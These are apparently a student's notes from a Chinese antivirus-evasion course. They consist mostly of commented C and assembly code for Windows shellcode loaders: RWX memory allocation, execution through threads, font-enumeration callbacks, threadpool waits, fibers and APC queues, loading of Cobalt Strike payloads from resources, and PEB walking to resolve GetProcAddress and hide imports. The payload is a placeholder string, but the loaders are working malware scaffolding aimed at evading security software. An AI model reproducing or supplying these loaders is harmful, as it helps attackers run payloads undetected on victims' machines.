#include <stdio.h>
#include <windows.h>int main() {
unsigned char buf[] = "shellcode"; // unsigned表示无符号数
/*
* VirtualAlloc是Windows API
* 参数1:分配的内存的起始地址,如果为NULL则由系统决定
* 参数2:分配的内存大小,以字节为单位
* 参数3:分配的内存类型,MEM_COMMIT表示将分配的内存立即提交给物理内存,MEM_RESERVE表示保留内存但不提交
* 参数4:分配的内存保护属性,PAGE_READWRITE可读可写,PAGE_EXECUTE_READ可执行可读
*/
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 指针指向申请的内存
memcpy(p, buf, sizeof(buf)); // 将shellcode写入内存
/*
* 类型强制转换:(目标类型)表达式
* (void(*)())p:将p转换为指向无参数、无返回值的函数指针
* ((void(*)())p)():对函数进行调用
*/
((void(*)())p)(); // 执行shellcode
return 0;
}
#include <stdio.h>
#include <windows.h>// .data段(数据段,存储静态变量和全局变量)改为可读可写可执行
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode"; // 要为全局变量
int main() {
__asm {
lea eax, buf // 这里查看反汇编是lea eax,[buf地址]
call eax
}
return 0;
}
#include <stdio.h>
#include <windows.h>int main() {
unsigned char buf[] = "shellcode";
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// CopyMemory是Windows API
CopyMemory(p, buf, sizeof(buf)); // 将shellcode写入内存
/*
* CreateThread是Windows API,用于创建一个新线程
* 参数1:指向 SECURITY_ATTRIBUTES 结构体的指针,用于指定新线程的安全属性,NULL表示默认安全属性
* 参数2:指定新线程的堆栈大小,0表示默认大小,如果指定大小小于MINIMUM_STACK_SIZE(通常1KB),则会被自动调整为MINIMUM_STACK_SIZE
* 参数3:线程函数指针,必须是静态函数或全局函数,且返回值为DWORD
* 参数4:传递给线程函数的参数指针,可以将任何类型的数据转换为LPVOID来传递参数
* 参数5:0表示创建线程后立刻执行,CREATE_SUSPENDED表示创建线程后立即挂起,等待调用 ResumeThread 才会开始执行
* 参数6:接收新线程 ID 的变量的指针,NULL表示不返回线程ID
*/
// 句柄(Handle)是一种用于标识对象的数据类型,实际上是一个指向内存中数据结构的指针,该数据结构描述了所标识的对象的属性
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)p, NULL, 0, NULL); // 线程句柄
/*
* 参数1:内核对象的句柄
* 参数2:等待时间的毫秒数,INFINITE(即-1)表示无限等待直到对象进入signaled状态
*/
WaitForSingleObject(hThread, INFINITE); // 等待新线程执行完毕,不等待可能执行不到
return 0;
}
#include <stdio.h>
#include <Windows.h>int main() {
unsigned char buf[] = "shellcode";
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, buf, sizeof(buf));
/*
* EnumFontsW是Windows API,用于枚举系统中所有可用字体
* 参数1:设备环境句柄,表示要枚举哪个设备的字体
* 参数2:NULL表示枚举所有字体
* 参数3:回调函数指针,用于处理每个枚举到的字体信息
* 参数4:回调函数参数
*/
EnumFontsW(GetDC(NULL), NULL, p, NULL); // 回调函数
return 0;
}
#include <stdio.h>
#include <Windows.h>int main() {
unsigned char buf[] = "shellcode";
/*
* VirtualProtect是Windows API,用于修改内存访问权限
* 参数1:指向内存的指针
* 参数2:内存大小(以字节为单位)
* 参数3:新的访问权限
* 参数4:用于接收修改前的访问权限,NULL表示不需要接受(但是会出错)
*/
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode内存后修改为可读可写可执行
/*
* CreateEvent是Windows API,用于创建一个事件对象
* 参数1:安全属性,NULL表示默认
* 参数2:是否手动复位
* 参数3:TRUE表示事件对象的初始状态为有信号状态,否则为无信号状态
* 参数4:事件名称,NULL表示不使用名称
*/
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
/*
* CreateThreadpoolWait是Windows API,用于创建一个线程池等待对象
* 参数1:回调函数指针
* 参数2:回调函数参数
* 参数3:线程池回调环境
*/
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)buf, NULL, NULL);
/*
* SetThreadpoolWait是Windows API,用于向线程池中添加等待对象
* 参数1:线程池等待对象
* 参数2:要等待的内核对象句柄
* 参数3:等待超时时间,NULL表示无限等待
*/
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕(状态变为无信号),事件对象执行会执行回调函数buf
return 0;
}
#include <stdio.h>
#include <Windows.h>int main() {
unsigned char buf[] = "shellcode";
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
ConvertThreadToFiber(NULL); // 将当前线程转换为纤程(轻量级线程)
/*
* CreateFiber用于创建纤程对象
* 参数1:纤程栈的大小,0表示使用默认值
* 参数2:函数指针
* 参数3:创建纤程的标志位
*/
void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);
SwitchToFiber(shellcodeFiber); // 切换纤程,执行函数
DeleteFiber(shellcodeFiber); // 删除纤程对象
return 0;
}
#include <stdio.h>
#include <Windows.h>// 定义的一个函数指针类型pNtTestAlert,函数使用__stdcall调用约定(用于大多数Win32 API函数),函数返回DWORD类型
typedef DWORD(WINAPI* pNtTestAlert)();
int main() {
unsigned char buf[] = "shellcode";
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
/*
* GetModuleHandleA用于获取DLL的句柄
* GetProcAddress用于获取函数地址
* NtTestAlert函数是内部函数,无法直接通过函数名调用
*/
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
/*
* QueueUserAPC是Windows API,用于将APC函数插入到指定线程的APC队列中
* 参数1:APC函数指针
* 参数2:指定线程句柄
* 参数3:APC函数参数
* GetCurrentThread是Windows API,返回当前执行的线程的句柄
*/
QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)buf, GetCurrentThread(), NULL);
NtTestAlert(); // 该函数会检查当前线程的APC队列是否有待执行的异步过程调用,如果有就会立刻执行
return 0;
}
源文件->添加->资源->导入->CS生成的.bin文件->资源类型(xxx)
在resource.h查看资源ID(#define IDR_XXX1)
#include <stdio.h>
#include <windows.h>
#include "resource.h" // 将资源文件 resource.h 中定义的资源包含到当前文件int main() {
/*
* FindResource是windows API,用于在资源表中查找指定名称和类型的资源
* 参数1:模块句柄,表示要在哪个模块中查找资源,NULL表示在当前模块中查找
* 参数2:查找资源的名称或ID,如果是用ID,则需要使用宏 MAKEINTRESOURCE 将ID转换为字符串类型
* 参数3:资源类型名称
*/
HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_XXX1), L"xxx");
DWORD Size = SizeofResource(NULL, Res); // Windows API,用于获取资源大小
HGLOBAL Load = LoadResource(NULL, Res); // Windows API,用于加载资源
void* p = VirtualAlloc(NULL, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, Load, Size);
((void(*)())p)();
return 0;
}
VirtualAlloc
GlobalAlloc
CoTaskMemAlloc
HeapAlloc
RtlCreateHeap
AllocADsMem
ReallocADsMem
回调函数
EnumTimeFormatsA
EnumWindows
EnumDesktopWindows
EnumDateFormatsA
EnumChildWindows
EnumThreadWindows
EnumSystemLocalesA
EnumSystemGeoID
EnumSystemLanguageGroupsA
EnumUILanguagesA
EnumSystemCodePagesA
EnumDesktopsW
EnumSystemCodePagesW
但是导入表会有 loadlibary
和 GetProcAddress
#include <stdio.h>
#include <Windows.h>//typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, DWORD, DWORD, DWORD);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
unsigned char buf[] = "shellcode";
HMODULE hKernal32 = LoadLibrary(L"Kernel32.dll"); // 加载DLL文件,该函数使用 Unicode 编码所以要加L表示这是一个宽字符(wchar_t)类型的字符串
//pVirtualAlloc VirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernal32, "VirtualAlloc");
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
64位,gs:[0x30]指向TEB结构体(包含进程中运行线程的各种信息),TEB+0x60 和 gs:[0x60]都是指向PEB结构体(包含进程信息),PEB+0x18指向PEB_LDR_DATA结构体,PEB_LDR_DATA+0x30指向InInitializationOrderModuleList
VS用64位写汇编函数(64位不能直接用__asm{}):
视图->解决方案资源管理器->源文件->添加->新建项->xxx.asm
xxx.asm->属性->从生成中排除(否)、项类型(自定义生成工具)、命令行(ml64 /Fo (IntDir)%(fileName).obj)
xxx.asm:
.CODE
GetInInitializationOrderModuleList PROC
mov rax,gs:[60h] ; PEB,这里不能写0x60
mov rax,[rax+18h] ; PEB_LDR_DATA
mov rax,[rax+30h] ; InInitializationOrderModuleList
ret ; 这里不能写retn
GetInInitializationOrderModuleList ENDP
END
xxx.c:
#include <stdio.h>
#include <windows.h>typedef struct _UNICODE_STRING {
USHORT Length; // 这三个是必有的,用来描述Buffer
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;// UNICODE_STRING 相当于 struct _UNICODE_STRING
/*
* 返回64位无符号地址的指针
* 如果是C++,要用extern "C" PVOID64 __stdcall GetPEB();表示函数使用C语言的调用约定(取消函数名称修饰)
*/
PVOID64 __stdcall GetInInitializationOrderModuleList();
HMODULE getKernel32Address() {
/*
* LIST_ENTRY是实现了双向链表的结构体
* Flink 和 Blink 分别指向下一个、上一个节点
* InInitializationOrderModuleList是一个链表,每个节点是LDR_DATA_TABLE_ENTRY结构体(不是C语言结构体)
*/
LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList(); // 获取InInitializationOrderModuleList
while (1) {
/*
* x64的LDR_DATA_TABLE_ENTRY结构体偏移量0x38是FullDllName成员,x86是0x24
* 能强制转换是因为名称和类型是对应的
*/
UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);
// Buffer指向模块完整路径名(KERNEL32.DLL\0)
if (*(FullDllName->Buffer + 12) == '\0') {
// LDR_DATA_TABLE_ENTRY结构体偏移量0x10是DllBase成员,表示模块的基地址
return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));
}
pNode = pNode->Flink;
}
}
DWORD64 getGetProcAddress(HMODULE hKernal32) {
/*
* PIMAGE_DOS_HEADER指针是指向 IMAGE_DOS_HEADER 结构体的指针
* IMAGE_DOS_HEADER结构体存储DOS头部信息
* DOS头部信息是文件头的第一个部分,也就是PE文件起始地址
*/
PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; // 获取DOS头
/*
* 64位下,指针是8字节,e_lfanew是DWORD是4字节,所以要用LONG64
* NT头指针可以获取PE文件各种信息
*/
PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); // 偏移到NT头
/*
* PIMAGE_EXPORT_DIRECTORY是导出表指针
* OptionalHeader字段中的DataDirectory数组的第0个元素(IMAGE_DIRECTORY_ENTRY_EXPORT更直观)的VirtualAddress字段为导出表的位置
*/
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表
/*
* 导出表的AddressOfFunctions字段包含一个指针数组,数组的每个元素都是导出函数的RVA(相对虚拟地址)
* 函数的地址为ULONG,所以用PULONG指针
*/
PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions); // 获取导出函数地址RVA数组地址
PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); // 获取导出函数名RVA数组地址
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals); // 获取导出函数序号数组地址
for (size_t i = 0; i < exportDir->NumberOfNames; i++) { // 遍历函数
LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 当前函数地址
PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); // 当前函数名地址
/*
* const char*为字符串指针
* strcmp的参数就是两个字符串指针,比较内容
*/
if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
return F_va_Tmp;
}
}
}
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
unsigned char buf[] = "x64shellcode";
HMODULE hKernal32 = getKernel32Address(); // 获取Kernel32
pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 获取GetProcAddress地址
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
32位,fs:[0x0]指向TEB结构体,fs:[0x30]指向PEB结构体,PEB+0x0c指向PEB_LDR_DATA结构体,PEB_LDR_DATA+0x0c指向InLoadOrderModuleList
xxx.cpp:
新增了 LDR_DATA_TABLE_ENTRY 结构体,重新写了getKernel32Address函数,去掉xxx.asm
#include <stdio.h>
#include <windows.h>typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _LDR_DATA_TABLE_ENTRY // 新增 LDR_DATA_TABLE_ENTRY 结构体
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
UINT32 SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
UINT32 Flags;
USHORT LoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
PVOID SectionPointer;
UINT32 CheckSum;
UINT32 TimeDateStamp;
PVOID LoadedImports;
PVOID EntryPointActivationContext;
PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
HMODULE getKernel32Address() { // 重新写的函数
LDR_DATA_TABLE_ENTRY* pPLD = NULL;
char szKernel32[] = { 'K',0,'E',0,'R',0,'N',0,'E',0,'L',0,'3',0,'2',0,'.',0,'D',0,'L',0,'L',0,0,0 }; //Unicode字符所以要跟0,最后一个是\0
__asm {
mov eax, fs: [0x30] // PEB
mov eax, [eax + 0x0C] // PEB_LDR_DATA
mov eax, [eax + 0x0C] // InLoadOrderModuleList
mov pPLD, eax
}
while (1) {
if (!strcmp(pPLD->BaseDllName.Buffer, szKernel32)) { // 当前模块名为KERNEL32.DLL\0
return (HMODULE)pPLD->DllBase;
}
pPLD = (LDR_DATA_TABLE_ENTRY*)pPLD->InLoadOrderLinks.Flink; // 下一个LDR_DATA_TABLE_ENTRY结构体
}
}
DWORD64 getGetProcAddress(HMODULE hKernal32) {
/*
* PIMAGE_DOS_HEADER指针是指向 IMAGE_DOS_HEADER 结构体的指针
* IMAGE_DOS_HEADER结构体存储DOS头部信息
* DOS头部信息是文件头的第一个部分,也就是PE文件起始地址
*/
PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; // 获取DOS头
/*
* 64位下,指针是8字节,e_lfanew是DWORD是4字节,所以要用LONG64
* NT头指针可以获取PE文件各种信息
*/
PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); // 偏移到NT头
/*
* PIMAGE_EXPORT_DIRECTORY是导出表指针
* OptionalHeader字段中的DataDirectory数组的第0个元素(IMAGE_DIRECTORY_ENTRY_EXPORT更直观)的VirtualAddress字段为导出表的位置
*/
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表
/*
* 导出表的AddressOfFunctions字段包含一个指针数组,数组的每个元素都是导出函数的RVA(相对虚拟地址)
* 函数的地址为ULONG,所以用PULONG指针
*/
PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions); // 获取导出函数地址RVA数组地址
PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); // 获取导出函数名RVA数组地址
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals); // 获取导出函数序号数组地址
for (size_t i = 0; i < exportDir->NumberOfNames; i++) { // 遍历函数
LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 当前函数地址
PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); // 当前函数名地址
/*
* const char*为字符串指针
* strcmp的参数就是两个字符串指针,比较内容
*/
if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
return F_va_Tmp;
}
}
}
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
unsigned char buf[] = "x86shellcode";
HMODULE hKernal32 = getKernel32Address(); // 获取Kernel32
pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 获取GetProcAddress地址
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
本文为免杀三期学员笔记:https://www.cnblogs.com/LeiyNeKo/articles/17135995.html
课程链接如下